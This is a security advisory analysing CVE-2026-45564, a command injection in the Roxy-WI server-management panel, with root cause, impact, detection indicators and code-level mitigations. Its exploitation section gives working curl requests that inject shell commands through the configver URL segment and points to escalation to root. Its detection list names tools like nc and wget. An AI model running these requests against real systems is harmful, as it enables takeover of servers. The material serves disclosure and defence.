CVE-2026-45564: 
Roxy-WI vulnerability analysis and mitigation

CVE-2026-45564 is an authenticated OS command injection vulnerability in Roxy-WI, a web interface for managing HAProxy, Nginx, Apache, and Keepalived servers. It affects all versions up to and including 8.2.6.4, and was published on June 10, 2026. The vulnerability allows any authenticated user with role ≤ 3 ("user") to achieve remote code execution on the host server. It carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, Feedly). As of the time of publication, no patches are available.

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The POST /config/versions/<service>/<server_ip>/<configver>/save endpoint in app/routes/config/routes.py (lines 201–227) interpolates the URL path segment configver directly into a shell command: os.system(f"dos2unix -q {cfg}") in app/modules/config/config.py (line 218). Because Pydantic does not validate path segments declared as str, configver is never sanitized through EscapedString, and a prior tuple-membership boundary check (introduced as a patch for GHSA-vapt-004) is broken and does not fire. An attacker can inject shell metacharacters (e.g., semicolons) into the configver URL segment, causing arbitrary commands to be executed via /bin/sh -c (GitHub Advisory).

Successful exploitation grants the attacker remote code execution on the Roxy-WI host as the web server user. Because stock Roxy-WI installers ship with a writable passwordless sudo chown configuration, lateral privilege escalation to root is described as straightforward. Full confidentiality, integrity, and availability of the affected system are at risk, including potential access to managed infrastructure (HAProxy, Nginx, Apache, Keepalived servers) administered through the interface (GitHub Advisory).

1. Authenticate: Obtain valid credentials for any Roxy-WI account with role ≤ 3 ("user" level or above). Authenticate via POST /login and capture the session cookie and CSRF token:

curl -sc /tmp/u.jar -X POST http://victim.example/login \
  -H 'Content-Type: application/json' \
  -d '{"login":"editor","pass":"editor"}'

2. Craft malicious URL: Construct a POST request to /config/versions/<service>/<server_ip>/<configver>/save where <configver> contains shell metacharacters. For example, x;id;%23 URL-encodes to x;id;#, which injects the id command.
3. Trigger RCE: Send the crafted request with the session cookie and CSRF token:

curl -sb /tmp/u.jar -X POST \
  "http://victim.example/config/versions/haproxy/127.0.0.1/x;id;%23/save" \
  -H "X-CSRF-TOKEN: $(awk '/csrf_access_token/{print $7}' /tmp/u.jar)" \
  -H 'Content-Type: application/json' \
  -d '{"action":"save"}'

4. Command execution: The server executes os.system(f"dos2unix -q {config_dir}x;id;#"), which the shell splits on ;, running id (or any attacker-supplied command) as the web server user.
5. Privilege escalation: Leverage the passwordless sudo chown configuration present in stock installations to escalate to root and pivot to managed backend servers (GitHub Advisory).

• Network: Unusual POST requests to /config/versions/<service>/<ip>/<configver>/save where <configver> contains shell metacharacters such as ;, |, &, $(), or URL-encoded equivalents (e.g., %3B, %7C, %26).
• Logs: Web server access logs showing requests to /config/versions/ endpoints with anomalous path segments containing special characters; application error logs referencing unexpected os.system output or shell command results.
• Process: Unexpected child processes spawned by the Roxy-WI web server process (e.g., id, whoami, curl, wget, bash, python, nc) visible in process trees.
• File System: New or modified files in the Roxy-WI installation directory or /tmp created by the web server user; unexpected cron jobs or SSH authorized keys added under the web server or root account.
• Privilege Escalation Indicators: Unexpected chown or sudo invocations in system audit logs (/var/log/auth.log or auditd) attributed to the web server user (GitHub Advisory).

As of the time of publication, no official patched version of Roxy-WI is available. The GitHub advisory recommends two immediate code-level mitigations: (1) validate configver against a strict allowlist regex (^[A-Za-z0-9._-]+$) and reject non-matching values, and (2) replace os.system(f"dos2unix -q {cfg}") with subprocess.run(['dos2unix', '-q', cfg], check=False) to pass the path as an argument rather than through the shell. Organizations should restrict access to the Roxy-WI interface to trusted networks only, enforce strong authentication, and monitor for anomalous process activity until an official patch is released (GitHub Advisory).

The vulnerability was discovered and reported by Vishal Shukla (@shukla304) and the Sechub.dev AI Agent, and published as a GitHub Security Advisory on May 15, 2026. Red Hat has tracked the CVE with a "Deferred" status. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified at this time (GitHub Advisory, Red Hat).